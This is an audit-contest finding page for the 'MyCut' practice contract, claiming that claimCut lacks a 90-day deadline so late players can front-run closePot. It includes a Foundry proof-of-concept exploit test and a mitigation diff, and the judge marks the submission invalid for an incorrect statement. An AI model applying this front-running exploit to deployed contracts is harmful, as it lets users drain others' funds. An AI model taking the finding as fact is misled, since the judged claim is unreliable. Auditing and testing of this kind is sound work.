MyCut

AI First Flight #8
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

`Pot::claimCut` never enforces the 90-day claim period, so players who missed it can front-run `closePot` and take the rewards meant for on-time claimants and the manager

Root + Impact

Description

  • Players have 90 days to claim. After that, unclaimed rewards are forfeited: the manager takes 10% and the rest is split among players who "claimed in time".

  • claimCut has no deadline or closed check, so a player can claim at any time, including after the 90 days and after closePot. Players who missed the window can claim right before the owner's closeContest transaction (e.g. by watching the mempool). That brings remainingRewards to 0, so closePot pays nothing to the manager or the on-time claimants. Claims made after closePot are paid from tokens that were already redistributed, so the Pot ends up unable to pay everyone.

function claimCut() public {
// no check that the 90-day claim period is still open / pot not closed
address player = msg.sender;
uint256 reward = playersToRewards[player];
if (reward <= 0) {
revert Pot__RewardNotFound();
}
playersToRewards[player] = 0;
remainingRewards -= reward;
claimants.push(player);
_transferReward(player, reward);
}

Risk

Likelihood:

  • Whenever players miss the 90-day window, since claiming stays available with no restriction and closing the pot is a public owner transaction anyone can see coming.

  • Any player can do it with a normal claimCut call; no special permissions or conditions are needed.

Impact:

  • On-time claimants lose their whole share of the forfeited rewards (270 of the 370 tokens owed to player1 in the PoC), and the manager loses its 10% cut.

  • Players who missed the deadline keep 100% of rewards they forfeited. If they claim after closePot instead, the last claimers' claimCut reverts because the Pot can't cover them.

Proof of Concept

4 players with 100 tokens each; only player1 claims in time. After the 90 days, player2player4 claim just before the owner's close. player1 ends with 100 instead of 370, the manager gets 0 instead of 30, and the late players take 300.

function testLateClaimersFrontRunCloseAndStealBonus() public mintAndApproveTokens {
address player3 = makeAddr("player3");
address player4 = makeAddr("player4");
address[] memory ps = new address[](4);
ps[0] = player1; ps[1] = player2; ps[2] = player3; ps[3] = player4;
uint256[] memory rs = new uint256[](4);
for (uint256 i; i < 4; i++) rs[i] = 100e18;
vm.startPrank(user);
address pot = ContestManager(conMan).createContest(ps, rs, IERC20(address(weth)), 400e18);
ContestManager(conMan).fundContest(0);
vm.stopPrank();
vm.prank(player1);
Pot(pot).claimCut(); // only player1 claims in time
vm.warp(block.timestamp + 91 days); // claim period is over
// player2..4 see the owner's closeContest tx in the mempool and claim first
vm.prank(player2); Pot(pot).claimCut();
vm.prank(player3); Pot(pot).claimCut();
vm.prank(player4); Pot(pot).claimCut();
vm.prank(user);
ContestManager(conMan).closeContest(pot);
// Spec: player1 = 100 + 270 = 370, manager = 30, late players = 0
assertEq(weth.balanceOf(player1), 100e18);
assertEq(weth.balanceOf(player2) + weth.balanceOf(player3) + weth.balanceOf(player4), 300e18);
assertEq(weth.balanceOf(conMan), 0);
}

Recommended Mitigation

+ error Pot__ClaimPeriodOver();
function claimCut() public {
+ if (block.timestamp - i_deployedAt >= 90 days) {
+ revert Pot__ClaimPeriodOver();
+ }
address player = msg.sender;
uint256 reward = playersToRewards[player];
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!